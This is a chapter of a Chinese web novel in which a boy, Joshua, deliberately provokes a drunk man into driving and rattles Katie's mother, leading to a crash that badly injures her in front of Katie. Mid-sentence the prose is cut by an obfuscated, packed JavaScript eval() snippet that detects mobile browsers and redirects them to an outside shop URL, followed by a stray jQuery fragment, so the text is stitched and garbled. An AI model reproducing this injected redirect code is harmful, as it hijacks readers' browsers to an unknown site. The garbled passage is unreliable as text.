约书亚把所有事情应付妥当,才匆匆往楼下走。刚踏入电梯,里面已经站着个满身酒气的男人。
“喂!小鬼,帮我按一楼。”男人颐指气使地开口。
约书亚淡淡扫了他一眼,抬手按下三楼,再按下一楼,语气带着一点轻嘲:“你现在连做点像样的事都不行了吧。”
男人正要开口怒骂,叮咚一声,电梯抵达三楼。
约书亚迈步走出去,面上反倒像是好心规劝,“打车回家吧,叔叔,你现在的状态,不适合开车。”
然后在男人醉醺醺的的注视下,电梯门缓缓合上。
约书亚这才来到凯蒂家门前,抬手叩门。
咚咚咚。
敲门声响起的瞬间,凯茜立刻快步上前拉开门。
“凯蒂……约书亚?”
看见门外的孩子,凯茜满脸错愕。
约书亚瞬间反应过来,凯蒂还没有回家,故作单纯地开口:“凯茜阿姨,我过来帮凯蒂拿一件黑色外套。”
“哦,好,可怎么是你来?”见到约书亚,凯茜明显心神慌乱,说话都失了分寸。
对比之下,约书亚沉稳得刺眼。
“凯蒂在我卧室玩我给她的玩具,她不想再去面对外面那群吊唁的大人,想来,由我跑一趟最合适。”
德丝蕾在远处听见二人对话,扬声回道:“凯蒂家里没有黑色外套,不过有一件黑色斗篷,可以吗?”
“可以的,德丝蕾夫人。”
看着德丝蕾和柯林斯转身走进凯蒂的房间,约书亚抬起头,维持着礼貌的浅笑:“稍后我会把凯蒂送回来。”
“不用了!我觉得凯蒂该早点休息。”凯茜对约书亚本能地抵触,只要和这孩子处在同一个空间,她全身就紧绷不安。
“凯茜阿姨!”约书亚的声音微微抬高,“我奶奶黑兹尔是虔诚的信徒,她无法接纳任何阴暗的东西,比如烟这类物件,当然,我想凯蒂也是一样。”
这句话落下,凯茜强撑的镇定瞬间崩碎,神色慌乱。
她心里清楚,约书亚知道当初他捡到的是什么。
“原来如此,我明白了。”
这时德丝蕾拿着斗篷走出来,交到约书亚手上,“很遗憾听到你奶奶的事,柯林斯已经跟我说过了,我们很惋惜。”
柯林斯今天本来去参加吊唁,没过多久就悄悄离开,回来陪着因为凯蒂入学事宜正在休假的德丝蕾,与凯茜。
“谢谢您,我想奶奶会明白的。”
约书亚郑重地道谢,余光瞥了一眼一旁失魂落魄的凯茜,转身离开。
门一关,凯茜立刻焦躁起来,急忙收拾随身物件,“我得去处理一点事。”
“什么?”德丝蕾一头雾水,凯茜此刻的状态实在反常。
凯茜情绪绷得很紧,语气带着迁怒的火气:“我说我要去处理事情!我得去夜莺一趟。”
夜莺,是凯茜和德丝蕾一同打理的夜场俱乐部,产业归属柯林斯,在家中,为了凯蒂的身心,她们几乎不会提起这个地方。
“天啊,今天难得休假,你还要赶去店里?”德丝蕾说不清哪里不对劲,试着挽留。
柯林斯却没有顺着德丝蕾,柔声开口:“宝贝,就让她去吧,我们难得能单独待一会儿。”
话语裹着暧昧。
德丝蕾看着凯茜的样子,心里清楚再拦只会招来对方的斥责。再看向柯林斯,连日为凯蒂的事操劳,她本就心力憔悴,又想起柯林斯新招了一名会唱歌的男妓,一股危机感猛地涌上来。
“好吧,反正我也好久没见到科林了~”
凯茜全然无视两人之间的调情,径直踏出家门。
约书亚先搭电梯上到四楼,站在电梯口,静静盯着楼层数字一路落到三楼,再落到一楼。确认时机刚好,才动身下楼。
刚踏出公寓没多远,轮胎摩擦地面的尖啸猛地撕开街道,下一瞬,一声沉闷的撞击轰然炸开。
街边人群瞬间炸开锅,叫喊、奔逃,此起彼伏的惊呼揉成一团混乱,所有人都朝着出事的地方涌过去。
可约书亚脚步没有半分停顿,径直往前走,身后汹涌的骚动像隔了一层厚玻璃,再喧哗再猛烈,也碰不到他分毫。
终于走到目的地,看见凯蒂坐在长椅上抹眼泪。连日压在心底的郁气,稍稍散了些。
“凯蒂!”
凯蒂抬起头,细小的泪珠顺着脸颊滑落,脸上已经留了好几道泪痕,鼻子还在断断续续地抽噎,湿掉的睫毛黏成一簇一簇。
“约书亚?”
凯蒂看见他,先是一怔,语气里裹着埋怨,“你来这儿干什么?”
“当然是来找你。”约书亚自然地在她身旁坐下,把斗篷披到她肩上。
斗篷往肩头一搭,有些往下滑,凯蒂停下擦眼泪的手,把斗篷向上拢了拢,“你怎么找到我的?”
约书亚语气里藏着一丝浅浅的自得:“我去你家里找你,发现你不在,就猜到你会来这儿。”
凯蒂会来这里,是因为她想独自哭一会儿,不过她不想当着大人的面落泪,更不想让妈妈和德丝蕾担心。
“对不起,凯蒂。”约书亚微微凑近她。
凯蒂抬眼,正好对上他的目光,“你没什么要道歉的。”
约书亚清楚,凯蒂心里还憋着气,“刚才看见你,却没有跟你打招呼。”
“不用为这件事道歉,我知道,当时有比我更要紧的事。”
“不,不是那样!”约书亚急了,毕竟他做所有这些,全都是为了凯蒂,“凯蒂才是最重要的。”
“不!明明就有很多事比我重要,不是吗?”
凯蒂没法把心里的感受说得太直白,那样会显得自己无理取闹。艾比阿姨精神失常,黑兹尔奶奶离世,这些在她看来,对约书亚都是巨大的打击。可她也无法坦然接受,明明那些事摆在眼前,他却一口咬定自己才是第一位。
约书亚察觉到她陷在情绪里,语气郑重:“凯蒂,不管你信不信,我做这一切,都是为了你。”
“为了我?”凯蒂一时转不过来弯,把心底的疑问说出口,“艾比阿姨、黑兹尔奶奶……我不懂。”
“是,以后你会懂。不管是艾比还是黑兹尔,她们谁都比不上你,凯蒂。”
“为什么?”
“因为她们都是没用的大人。”约书亚话说得仓促,只要牵扯到凯蒂,他总是很难稳住情绪,“就像你家里,你的妈妈,还有——”
“你说什么!我妈妈!”凯蒂被这句话狠狠刺痛,“我妈妈才不是没用的大人!她很爱我。”
“我,我不是那个意思。凯蒂你还太小,你不会明白,爱和有没有用,是两回事。”
“约书亚,我生气了。我妈妈爱我,我不许你说她没用,也不许评判她有没有用,妈妈就是妈妈,不是什么物件,不能拿来讲用途。”
凯蒂情绪激动,站起身来。
约书亚意识到自己话说得太急,心底也升起火气。
他可以为了属于他和凯蒂的未来,牺牲艾比、牺牲黑兹尔,可凯蒂却不愿意认同,不愿意放下凯茜。
在他眼里,这不公平。
“凯蒂,我以为你能懂我的!”
“你刚刚都说了我不懂!约书亚,今天我们不适合再聊下去,黑兹尔奶奶才刚走,我知道你心情不好。”
就算满心不悦,凯蒂依旧留了台阶给两个人。
约书亚胸中翻涌着怒火,但对上凯蒂同样带着怒意的眼睛,最后还是泄了劲。
凯蒂见这样,觉得没有继续谈下去的必要,打算动身回家,于是抹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946723|214080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
掉眼泪,不再多言,转身快步走向公寓。
约书亚沉默跟在后面,心头还压着一丝不被理解的郁气。
两人刚走近公寓楼下,先前的车祸现场依旧混乱不堪,人群围得水泄不通,血腥味混杂着车流噪音扑面而来,莫名的压抑笼罩整条街道。
凯蒂脚步猛地顿住,心底窜出一股说不清道不明的心慌,隐隐觉得哪里不对劲,却完全抓不住头绪。
就在这时,急促的救护车鸣笛声由远及近。
原来在他们方才争执独处的间隙,急救人员已经赶了过来,担架被迅速抬出,围观人群自觉分开一条通路。
只那一眼,凯蒂浑身血液瞬间冻结。
“妈妈!”
担架上满身血迹、奄奄一息的人,是凯茜。
所有赌气和委屈瞬间荡然无存,她不顾周围人的阻拦,疯了一样冲开层层围观的人群。
“哎!小孩别过去!危险!”
“快拦住她!那里是伤者!”
此起彼伏的叫喊从四面八方涌来,可凯蒂什么都听不进去,一头钻进救护车车厢。
浓重刺眼的血色充斥眼底,生理性的眩晕和恶心感狠狠袭来,她向来怕这些血腥狼狈的场面,脑袋昏沉得厉害,视线不停发晃。
可这是她的妈妈。
“不!妈妈!妈妈……妈妈……”
凯蒂咬着牙强撑,死死攥着凯茜冰凉的手,崩溃的哭声不断炸开,她拼命坚持着,不肯退让分毫。
但极致的悲伤、恐惧,叠加血腥带来的眩晕,终究压垮了年幼的她,哭声渐渐微弱,眼前一黑,她直直晕在了担架边。
车厢外传来路人嘈杂的议论声。
“天呐,那是她母亲吗?”
“可怜的孩子,怎么会遇上这种事。”
“快,医护人员,这孩子也倒下了!”
“这是这个月的第三趟车吧,真是够邪门的。”
救护车车门即将合拢的瞬间。
站在原地的约书亚,目光骤然钉在路边狼狈瘫坐的男人身上。
是电梯里那个醉酒的男人。
男人神志错乱,反复喃喃着一句话,满是惶然与悔恨:“不该开车的……我真的不该开车……”
所有零碎的画面,在约书亚脑中一瞬串联。
电梯里的嘲讽、假意规劝,是他刻意为之。他就是要刺痛那个醉汉的自尊,逼对方赌气驾车,为自己的荒唐付出代价。
在家中敲打凯茜的秘密、戳破她的心虚,也是他有意的布局。他本就打算打乱凯茜的心态,加速她的自我沉沦,他一直笃定,凯茜的恶行迟早会令其自行毁灭,永远波及不到凯蒂。
两步算计,全部在他计划之内。
他只是万万没想到,两场互不干涉的布局,会在今夜意外重叠、互相引爆。
醉汉失控的车,撞上了心神大乱、仓促出门的凯茜。
从结果论看,他的目的尽数达成。
碍事的隐患彻底清除,所有阻碍他和凯蒂安稳未来的人,都落得该有的结局。
没有悔恨,更没有愧疚。
唯一让他心底滋生出一丝阴郁与不悦的,只有一件事。
这场失控、狼狈、满目狼藉的残局,这场不够体面、不够完美的清算——被凯蒂亲眼看见了。
猩红的救护车灯光呼啸远去,带走晕厥的凯蒂与重伤的凯茜。
他所有精密、干净、只为凯蒂铺路的谋划,最后落得这样粗暴丑陋的收尾。
他不在乎惨剧本身。
他只介意,凯蒂看见了最不堪的一幕,会对他生出隔阂、生出怨怼,会打破他精心维系的一切。
一贯完美掌控全局的笃定彻底消散,余下的,只有计划出现瑕疵的烦躁,和一丝难以抹平的缺憾。